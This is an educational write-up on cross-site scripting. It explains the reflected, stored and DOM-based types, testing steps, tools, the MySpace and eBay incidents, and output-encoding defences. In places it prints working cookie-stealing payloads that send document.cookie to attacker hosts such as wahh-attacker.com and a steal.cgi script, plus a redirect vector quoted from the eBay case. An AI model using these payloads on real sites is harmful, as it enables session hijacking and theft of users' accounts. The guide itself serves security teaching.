Page |1

Cross-site scripting

 XSS in theory
Cross-site scripting (or XSS) is the Godfather of attacks against other users. It is by
some measure the most prevalent web application vulnerability found in the wild,
afflicting literally the vast majority of live applications, including some of the most
security-critical applications on the Internet, such as those used by online banks.
Opinions vary as to the seriousness of XSS vulnerabilities.

1. Reflected XSS Vulnerabilities

A very common example of XSS occurs when an application employs a dynamic
page to display error messages to users. Typically, the page takes a parameter
containing the text of the message, and simply renders this text back to the user
within its response. This type of mechanism is convenient for developers, because
it allows them to invoke a customized error page from anywhere in the application,
without needing to hard-code individual messages within the error page itself.

Exploiting the Vulnerability

XSS vulnerabilities can be exploited in many different ways to attack other users
of an application. One of the simplest attacks, and the one that is most commonly
envisaged to explain the potential significance of XSS flaws, results in the attacker
capturing the session token of an authenticated user. Hijacking the user’s session
gives the attacker access to all of the data and functionality to which the user is
authorized.

XSS Documentation Presented by Mohamed Khaled

 Page |2

1. The user logs in to the application as normal, and is issued with a

cookie containing a session token:
Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2. Through some means (described in detail later), the attacker feeds the following
URL to the user:
https://wahhapp.com/error.php?message=<script>var+i=new+Image;
+i.src=”http://wahh-attacker.com/“%2bdocument.cookie;</script>
As in the previous example, which generated a dialog message, this
URL contains embedded JavaScript. However, the attack payload in this case is
more malicious.
3. The user requests from the application the URL fed to them by the attacker.
4. The server responds to the user’s request. As a result of the XSS vulnerability,
the response contains the JavaScript created by the attacker.
5. The attacker’s JavaScript is received by the user’s browser, which executes it in
the same way it does any other code received from the application.
6. The malicious JavaScript created by the attacker is:
var i=new Image; i.src=”http://wahh-attacker.com/“+document.cookie;
This code causes the user’s browser to make a request to wahhattacker.com, which is
a domain owned by the attacker. The request contains the user’s current session
token for the application:
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: wahh-attacker.com
7. The attacker monitors requests to wahh-attacker.com and receives the user’s
request. He uses the captured token to hijack the user’s session, gaining access to
that user’s personal information, and performing arbitrary actions “as” the user.

2. Stored XSS Vulnerabilities

A different category of XSS vulnerability is often referred to as stored cross-site
scripting. This version arises when data submitted by one user is stored within the
application (typically in a back-end database) and then displayed to other users
without being filtered or sanitized appropriately.
Stored XSS vulnerabilities are common in applications that support interaction
between end users, or where administrative staff access user records and data
within the same application.

XSS Documentation Presented by Mohamed Khaled

 Page |3

Note that:

There are two important differences in the attack process between reflected and
stored XSS:
1. In the case of reflected XSS, to exploit vulnerability the attacker must use
some means of inducing victims to visit his crafted URL. In the case of
stored XSS, this requirement is avoided. Having deployed his attack within
the application, the attacker simply needs to wait for victims to browse to
the page or function that has been compromised. In general, this will be a
regular page of the application that normal users will access of their own
accord.
2. The attacker’s objectives in exploiting an XSS bug are usually achieved
much more easily if the victim is using the application at the time of the
attack. For example, if the user has an existing session, this can be
immediately hijacked. In a reflected XSS attack, the attacker may try to
engineer this situation by persuading the user to log in and then click on a
link that he supplies, or he may attempt to deploy a persistent payload that
waits until the user logs in. However, in a stored XSS attack, it is usually
guaranteed that victim users will be already accessing the application at the
time that the attack strikes. Because the attack payload is stored within a
page of the application that users access of their own accord, any victim of
the attack will by definition be using the application at the moment the
payload executes. Further, if the page concerned is within the authenticated

XSS Documentation Presented by Mohamed Khaled

 Page |4

area of the application, then any victim of the attack must in addition be
logged in at the time.

3. DOM-Based XSS Vulnerabilities

 A user requests a crafted URL supplied by the attacker and containing

embedded JavaScript.
 The server’s response does not contain the attacker’s script in any form.
 When the user’s browser processes this response, the script is executed
nonetheless.

The client-side JavaScript can access the browser’s document object model
(DOM), and so can determine the URL used to load the current page.
A script issued by the application may extract data from the URL, perform some
processing on this data, and then use it to dynamically update the contents of the
page

XSS Documentation Presented by Mohamed Khaled

 Page |5

 How XSS is discovered

XSS flaws can be difficult to identify and remove from a web application. The best
way to find flaws is to perform a security review of the code and search for all
places where input from an HTTP request could possibly make its way into the
HTML output.
Note that a variety of different HTML tags can be used to transmit a malicious
JavaScript.

The ways to test the Cross Site Scripting will be different according to the type of
the Cross site scripting Here is the steps to test the Reflected Cross Site Scripting

1. Detect input vectors. The tester must determine the web application's variables
and how to input them in the web application.

2. Analyze each input vector to detect potential vulnerabilities. To detect XSS

vulnerability, the tester will typically use specially crafted input data with each
input vector.
Such input data is typically harmless, but trigger responses from the web browser
that manifests the vulnerability. Testing data can be generated by using a web
application fuzzer or manually.
3. For each vulnerability reported in the previous phase, the tester will analyze the
report and attempt to exploit it with an attack that has a realistic impact on the web
application's security.
Example
For example, consider a site that has a welcome notice “Welcome %username% " and a
download link.

XSS Documentation Presented by Mohamed Khaled

 Page |6

The tester must suspect that every data entry point can result in an XSS attack. To
analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
http://example.com/index.php?user=<script>alert(123)</script>
If no sanitization is applied this will result in the following popup:

This indicates that there is an XSS vulnerability and it appears that the tester can execute
code of his choice in anybody's browser if he clicks on the tester's link.

There are a lot of automated tools which can discover XSS like
HP Web Inspect, Nessus, Nikto, and some other available tools, but can only
scratch the surface. If one part of a website is vulnerable, there is a high likelihood
that there are other problems as well.

XSS Documentation Presented by Mohamed Khaled

 Page |7

 XSS tools
 OWASP CAL9000: CAL9000 is a collection of web application security
testing tools that complement the feature set of current web proxies and
automated scanners.
 PHP Charset Encoder (PCE) - http://h4k.in/encoding This tool helps you
encode arbitrary texts to and from 65 kinds of charsets. Also some
encoding functions featured by JavaScript are provided.
 WebScarab is a framework for analysing applications that communicate
using the HTTP and HTTPS protocols.
 XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy is an advanced
Cross-Site-Scripting (XSS) attack tool.
 ratproxy - http://code.google.com/p/ratproxy/ A semi-automated, largely
passive web application security audit tool, optimized for an accurate and
sensitive detection, and automatic annotation, of potential problems and
security-relevant design patterns based on the observation of existing, user-
initiated traffic in complex web 2.0 environments.
 Burp Proxy - http://portswigger.net/proxy/ Burp Proxy is an interactive
HTTP/S proxy server for attacking and testing web applications.

 Hackvertor http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
Hackvertor is an online tool which allows many types of encoding and
obfuscation of JavaScript (or any string input).

 BeEF http://www.bindshell.net/tools/beef/ browser exploitation

framework A professional tool to demonstrate the real-time impact of
browser vulnerabilities.

 XSS Assistant - http://www.whiteacid.org/greasemonkey/#xss_assistant

Greasemonkey script that allow users to easily test any web application for
cross-site-scripting flaws.

XSS Documentation Presented by Mohamed Khaled

 Page |8

 Common XSS attack scenarios

1. An attacker has a potential victim in mind; he knows that the victim is on an
online shopping site, this website unlike many others allows users to have an
account where they can automatically buy things without entering their
credit card details, the users credit card is stored on the websites server.
The attacker finds that there is an XSS vulnerability in the web application
software that the shopping website uses
The attacker sends the victim and email, with the following HTML:
<A
HREF="http://archives.cnn.com/2001/US/09/16/inv.binladen.denial/?tw=<
script>document.location.replace('http://freewebhost.com/ph33r/steal.cg
i?'+document.cookie);</script>">Check this Article Out! </a>

If the user click the link and they would be lead to the CNN News Article,
but at the same time the attacker would of been able to also direct the user
towards his specially crafted URL, he now has the users cookie.
Using the Firefox cookie editor the attacker copies and pastes the victims
cookie and uses it for himself.

2. Consider an auction application that allows buyers to post questions about

specific items, and sellers to post responses. If a user can post a question
containing embedded JavaScript, and the application does not filter or
sanitize this, then an attacker can post a crafted question that causes arbitrary
scripts to execute within the browser of anyone who views the question,
including both the seller and other potential buyers. In this context, the
attacker could potentially cause unwitting users to bid on an item without
intending to, or cause a seller to close an auction and accept the attacker’s
low bid for an item.

XSS Documentation Presented by Mohamed Khaled

 Page |9

 Real-World XSS Attacks

o Myspace
The social networking site MySpace was found to be vulnerable to a stored
XSS attack in 2005.
The MySpace application implements filters to prevent users from placing
JavaScript into their user profile page. However, a user called Samy found a means
of circumventing these filters, and placed some Java Script into his profile page.
The script executed whenever a user viewed this profile and caused the victim’s
browser to perform various actions with two key effects. First, it added the
perpetrator as a “friend” of the victim. Second, it copied the script into the victim’s
own user profile page. Subsequently, anyone who viewed the victim’s profile
would also fall victim to the attack. To perform the various requests required, the
attack used Ajax techniques. The result was an XSS-based worm that spread
exponentially, and within hours the original perpetrator had nearly one million
friend requests,
As a result, MySpace was obliged to take the application offline, remove the
malicious script from the profiles of all their users, and fix the defect in their anti-
XSS filters. The perpetrator was eventually forced to pay financial restitution to
MySpace and to carry out three months of community service, without the help of
his many friends

XSS Documentation Presented by Mohamed Khaled

 P a g e | 10

o eBay
Security researcher "Side3ffects" has contacted us regarding a critical persistent
XSS that he discovered on eBay:
"Once you login to your account on eBay, edit the option "About me".
http://cgi3.ebay.com/ws/eBayISAPI.dll?AboutMeLogin
Now go to : http://members.ebay.com/ws/eBayISAPI.dll?EditUserPageHTMLSource and edit
with HTML enabled.

Demo URL
http://members.ebay.com/ws/eBayISAPI.dll?ViewUserPage&userid=shell2h4ck
It is also vulnerable to redirection with the following XSS attack vector:
'"--><script>alert(/Xss2ro07 aKa Side3ffects)</script>
<script>document.onload=location.href='http://www.xssed.com</script>"
members.ebay.com Persistent XSS mirror
One of the possible exploitation scenarios is malicious people stealing cleartext
credentials from registered users by injecting an iframe tag that retrieves another
rogue eBay login page from a remote server.
Screenshot:

XSS Documentation Presented by Mohamed Khaled

 P a g e | 11

 Protection mechanisms
o Protect yourself as a vendor
It is a simple. Never trust user input and always filter metacharacters. This will
eliminate the majority of XSS attacks. Converting < and > to < and > is also
suggested when it comes to script output. Filtering < and > alone will not solve all
cross site scripting attacks.

It is suggested you also attempt to filter out ( and ) by translating them to &#40;
and &#41; , " to &quot; , ' to &#39; , and also # and & by translating them to
&#35;(#) and &amp; (&). A more complete list of entities can be found at
http://tntluoma.com/sidebars/codes/ .

o Protect yourself as a user

The easiest way to protect yourself as a user is to only follow links from the main
website you wish to view. If you visit one website and it links to CNN for
example, instead of clicking on it visit CNN's main site and use its search engine to
find the content.

This will probably eliminate ninety percent of the problem.

Sometimes XSS can be executed automatically when you open an email, email
attachment, read a guestbook, or bulletin board post. If you plan on opening an
email, or reading a post on a public board from a person you don't know BE
CAREFUL. One of the best ways to protect yourself is to turn off Javascript in
your browser settings. In IE turn your security settings to high. This can prevent
cookie theft, and in general is a safer thing to do.

For detailed information about protections against the XSS visit

http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_
Cheat_Sheet

XSS Documentation Presented by Mohamed Khaled

 P a g e | 12

References:
 The Web Application Hacker’s Handbook
 OWASP TESTING GUIDE 2008 V3.0
 http://www.owasp.org/index.php/Talk:Testing_for_Cross_site_scr
ipting
 http://www.xssed.com/
 http://www.acunetix.com/websitesecurity/cross-site-scripting.htm

XSS Documentation Presented by Mohamed Khaled